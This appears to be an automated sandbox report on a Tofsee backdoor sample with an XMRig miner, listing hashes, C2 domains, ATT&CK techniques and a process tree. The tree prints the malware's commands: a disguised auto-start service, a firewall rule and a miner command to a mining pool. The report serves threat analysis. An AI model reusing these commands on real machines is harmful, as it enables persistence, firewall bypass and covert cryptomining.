Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    19-06-2022 02:18

General

  • Target

    c9d878af39e8276e4445bdfed7b4d277f8f4e497caad70d5e47777fef0f57fc8.exe

  • Size

    308KB

  • MD5

    52ddf64233c381141634cd873a26a06c

  • SHA1

    41e9454302709ff6b87aa7c963e0f411dced635d

  • SHA256

    c9d878af39e8276e4445bdfed7b4d277f8f4e497caad70d5e47777fef0f57fc8

  • SHA512

    36b4cdec31ce48a0deddb156aa4c8ce1f04579c4ccbfe1a7f6f248607d575e7fd95df9fe56924c8af04b693dc41f2104090392ebaa072ba92fc74561d4a8234f

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9d878af39e8276e4445bdfed7b4d277f8f4e497caad70d5e47777fef0f57fc8.exe
    "C:\Users\Admin\AppData\Local\Temp\c9d878af39e8276e4445bdfed7b4d277f8f4e497caad70d5e47777fef0f57fc8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eyaigtmc\
      2⤵
        PID:1200
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jmvsgzra.exe" C:\Windows\SysWOW64\eyaigtmc\
        2⤵
          PID:4960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eyaigtmc binPath= "C:\Windows\SysWOW64\eyaigtmc\jmvsgzra.exe /d\"C:\Users\Admin\AppData\Local\Temp\c9d878af39e8276e4445bdfed7b4d277f8f4e497caad70d5e47777fef0f57fc8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1868
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eyaigtmc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eyaigtmc
          2⤵
          • Launches sc.exe
          PID:4680
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 1484
          2⤵
          • Program crash
          PID:2680
      • C:\Windows\SysWOW64\eyaigtmc\jmvsgzra.exe
        C:\Windows\SysWOW64\eyaigtmc\jmvsgzra.exe /d"C:\Users\Admin\AppData\Local\Temp\c9d878af39e8276e4445bdfed7b4d277f8f4e497caad70d5e47777fef0f57fc8.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3024
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 560
          2⤵
          • Program crash
          PID:3276
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4628 -ip 4628
        1⤵
          PID:2660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1284 -ip 1284
          1⤵
            PID:3816

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\jmvsgzra.exe
            Filesize

            12.8MB

            MD5

            33eb11e9fb13b1f7e53a267a70a09084

            SHA1

            d4f56828ee7d48623f3afebde1fcd48e532045c3

            SHA256

            ca556d003e2f6a6161daff4b70016f8db42b3782bd7383620eb6b07d11b4480b

            SHA512

            fe76ca6f3f7a53f1b017e376c670c7b6328755e0683480c1adc2791f4fab5e7e21b243ac34a5edeb125fd5382f61fb1372d1eed93325dccf7b7dbe451a7a1c89

          • C:\Windows\SysWOW64\eyaigtmc\jmvsgzra.exe
            Filesize

            12.8MB

            MD5

            33eb11e9fb13b1f7e53a267a70a09084

            SHA1

            d4f56828ee7d48623f3afebde1fcd48e532045c3

            SHA256

            ca556d003e2f6a6161daff4b70016f8db42b3782bd7383620eb6b07d11b4480b

            SHA512

            fe76ca6f3f7a53f1b017e376c670c7b6328755e0683480c1adc2791f4fab5e7e21b243ac34a5edeb125fd5382f61fb1372d1eed93325dccf7b7dbe451a7a1c89

          • memory/1200-133-0x0000000000000000-mapping.dmp
          • memory/1284-156-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/1284-147-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/1284-143-0x0000000002CA0000-0x0000000002CB3000-memory.dmp
            Filesize

            76KB

          • memory/1284-141-0x0000000002E79000-0x0000000002E87000-memory.dmp
            Filesize

            56KB

          • memory/1868-136-0x0000000000000000-mapping.dmp
          • memory/2312-140-0x0000000000000000-mapping.dmp
          • memory/3024-144-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/3024-167-0x00000000033E0000-0x00000000033E7000-memory.dmp
            Filesize

            28KB

          • memory/3024-177-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/3024-142-0x0000000000000000-mapping.dmp
          • memory/3024-164-0x0000000008040000-0x000000000844B000-memory.dmp
            Filesize

            4.0MB

          • memory/3024-161-0x00000000033D0000-0x00000000033D5000-memory.dmp
            Filesize

            20KB

          • memory/3024-158-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/3024-154-0x00000000023E0000-0x00000000023E6000-memory.dmp
            Filesize

            24KB

          • memory/3024-151-0x0000000003000000-0x000000000320F000-memory.dmp
            Filesize

            2.1MB

          • memory/3024-150-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/4312-137-0x0000000000000000-mapping.dmp
          • memory/4468-170-0x0000000000000000-mapping.dmp
          • memory/4468-171-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/4468-176-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/4628-149-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4628-148-0x0000000002F9E000-0x0000000002FAC000-memory.dmp
            Filesize

            56KB

          • memory/4628-131-0x0000000002F10000-0x0000000002F23000-memory.dmp
            Filesize

            76KB

          • memory/4628-132-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4628-130-0x0000000002F9E000-0x0000000002FAC000-memory.dmp
            Filesize

            56KB

          • memory/4680-138-0x0000000000000000-mapping.dmp
          • memory/4960-134-0x0000000000000000-mapping.dmp